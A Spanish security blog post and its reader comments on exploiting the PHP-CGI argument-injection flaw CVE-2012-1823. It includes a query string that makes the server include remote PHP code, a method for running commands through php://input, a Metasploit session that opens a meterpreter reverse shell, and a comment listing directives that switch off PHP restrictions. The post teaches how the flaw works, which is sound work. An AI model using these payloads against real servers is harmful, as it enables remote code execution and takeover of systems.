sábado, 5 de mayo de 2012

Explotando PHP-CGI

Entre el jueves y el viernes de la semana pasada (al menos yo me enteré ese día) saltó la noticia: Se había publicado una vulnerabilidad en PHP que podría permitir la ejecución de código de forma remota (CVE-2012-1823). La vulnerabilidad solo afecta a aquellos servidores en los que PHP ha sido configurado como CGI, y no como módulo del servidor web, que hasta donde yo sé la configuración más habitual. No obstante, existen conocidos servicios que emplean PHP como un CGI, por lo que aunque no sea la configuración más extendida, el impacto de la vulnerabilidad podría resultar ser muy grave:


La vulnerabilidad, en su concepto, es muy similar a la vulnerabilidad en Java WebStart publicada por Rubén Santamarta el año pasado, y que ya comentamos aquí [1] [2].

El concepto es: El servicio coge una serie de parámetros, entre ellos algunos (o todos) proporcionados por el usuario, y construye una llamada a un binario del sistema. Si no existe un filtrado correcto de dichos parámetros proporcionados por el usuario, podemos llamar al binario añadiendo opciones que el servicio no espera. Por poner un ejemplo (pseudo-código):

Binary = "PrintName.exe"
Args = "-n " + username
execute( Binary, Args )

Lo normal sería que el usuario introdujera su nombre pero ¿qué pasa si introduce algo como "Jose -cmd id"? Pues bueno, suponiendo que ese binario tiene una opción "-cmd" que le hace ejecutar el comando que se le pase, el usuario estaría consiguiendo ejecutar el comando "id" para ver los privilegios del usuario que ejecuta el servicio (en un Unix).

Esto es exactamente lo que ocurre en esta vulnerabilidad: Es posible añadir parámetros en la llamada a php-cgi cuando es llamado para interpretar una página, pero... ¿qué opciones nos da el binario php-cgi? Podemos ver todas sus opciones en la web de PHP (pone que es para el binario php, pero son las mismas opciones para php-cgi, por lo que he podido ver). De entre ellas, hay un par que resultan especialmente interesantes:

-d foo[=bar] Define INI entry foo with value 'bar'
-n No php.ini file will be used


Parece ser que podemos añadir parámetros como si estuvieran en php.ini pero para esa ejecución concreta de PHP. Eso es muuuy interesante. Si pegamos un vistazo a las opciones que permite php.ini, también vemos un par que pueden servirnos para nuestros oscuros propósitos:


Nombre
Por defectoCambiableHistorial de cambios
allow_url_include"0"PHP_INI_ALLPHP_INI_SYSTEM en PHP 5. Disponible desde PHP 5.2.0.
auto_prepend_fileNULLPHP_INI_PERDIRPHP_INI_ALL en PHP <= 4.2.3.

Bueno, pues parece que ya vamos viendo la luz al final del túnel: Si activamos que permita incluir URLs y hacemos que incluya el código PHP que queramos, ya podemos pasar a cosas más interesantes. Tendríamos entonces que construir una URL tal que así:

http://php.pentester.es/?-d+allow_url_include=on+-d+auto_prepend_file=http://foo.pentester.es/exploit.txt

Esto debería funcionar y el código PHP en exploit.txt debería ser ejecutado por la web a la que estamos atacando, pero mirando los exploits publicados he visto algo que no conocía y que me ha gustado bastante, y es que podemos usar una URL especial php://input que lo que hace referencia es al contenido proporcionado por la entrada estándar, que en el caso de esta llamada será el contenido pasado por POST, así que podemos insertar código PHP sin necesidad de hacer referencia a ninguna URL externa, simplemente pasando el código por POST. La cosa quedaría así:



BINGO! Parece que ya podemos ejecutar código PHP, así que la cosa marcha, pero mejor que código PHP sería mejor ejecutar comandos del sistema operativo. Para eso solo hay que jugar un poquito con el PHP y pasarle algo así:


A partir de aquí ya solo tenemos que cambiar el contenido del parámetro "cmd" que estamos pasando por POST y poner el comando que queramos, y eso se ejecutará en el sistema con las restricciones que haya aplicado el sysadmin al usuario que ejecuta el servicio.

Dando un paso más allá, además de ejecutarlo a mano, resulta que la gente de Metasploit ya ha desarrollado un módulo llamado "php_cgi_arg_injection", lo cual hace muchísimo más sencilla su explotación:

$ ./msfconsole
msf > use exploit/multi/http/php_cgi_arg_injection
msf  exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
msf  exploit(php_cgi_arg_injection) > set LHOST 172.16.146.1
msf  exploit(php_cgi_arg_injection) > set RHOST php.pentester.es
msf  exploit(php_cgi_arg_injection) > set TARGETURI /
msf  exploit(php_cgi_arg_injection) > exploit


[*] Started reverse handler on 172.16.146.1:4444
[*] Sending stage (38791 bytes) to 172.16.146.128
[*] Meterpreter session 2 opened (172.16.146.1:4444 -> 172.16.146.128:41732) at Sat May 05 11:31:00 +0200 2012


meterpreter > sysinfo
OS          : Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686
Computer    : bt
Meterpreter : php/php


meterpreter > getuid
Server username: www-data (33)


meterpreter > portfwd --help
Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:


    -L  The local host to listen on (optional).
    -h        Help banner.
    -l  The local port to listen on.
    -p  The remote port to connect to.
    -r  The remote host to connect to.

No he jugado mucho con el Meterpreter PHP, pero imagino que tendrá una funcionalidad bastante reducida (igual que el de Java), pero por lo que he podido ver tiene la suficiente funcionalidad como para subir y bajar ficheros, redirigir puertos y algunas otras de esas funciones que tanto me gustan, y que nos van a acercar un poco más al PWN total del servidor.

7 comentarios :

Florencio Cano dijo...

Buen análisis. Gracias José. Es curioso que existan vulnerabilidades que parecen tan sencillas (cuando las conoces claro) en soluciones ampliamente desplegadas y de software abierto.

Jose Selvi dijo...

@Florencio: Parece ser que el tema es que tenían la vulnerabilidad parcheada desde hace mucho tiempo, pero en uno de los commits de nuevas versiones se lo cargaron.

Sucede con frecuencia, sobretodo cuando muchas personas tocan un código. De hecho si te fijas hay bastantes vulnerabilidades que se descubren y al cabo de mucho tiempo de estar corregidas vuelven a funcionar, por cuestiones similares.

mgesteiro dijo...

el exploit de metasploit incluye unas directivas adicionales muy interesantes:
-d+safe_mode%3doff
-d+suhosin.simulation%3don
-d+disable_functions%3d%22%22

que permiten eliminar restricciones típicamente usadas en hostings compartidos donde, además, es muy común ver php ejecutándose via CGI (como forma de conseguir la "ejecución restringida al propio usuario")

Jose Selvi dijo...

@mgesteiro: Sí, estuve mirando algunos exploits y me di cuenta que el de Metasploit incluía esos parámetros, aunque en su momento no pensé que fueran para entornos de Hosting compartido.

Gracias por la aportación :)

mgesteiro dijo...

las directivas son útiles en general :)
pero es la combinación con CGI lo que es típico de un hosting compartido... esperando oleada masiva de ataques en 3 2 1 ...

como siempre, un 0 para el SDC de php (regresiones, parches de seguridad que funcionan a medias... un desastre)

Joel Vasquez Villalobos dijo...

Excelente, podrán ayudarme en esto:

Estoy desarrollando un básico mvc mini framework 4j
via @sourceforge ('https://sourceforge.net/projects/mvcframework/')
Se agradece alguna sugerencia y bug.
se agradece apoyar si se encuentra algun bug de seguridad.

Aquí la demo para que testen seguridad y todo tipo de ataques.
Demo: http://vasquezader.16mb.com/

El proyecto es FreeBSD, pueden codificarlo pero se agradece mantener los créditos @vasquezader.

Joel Vasquez Villalobos dijo...

Envíeme sugerencias a vasquezader@gmail.com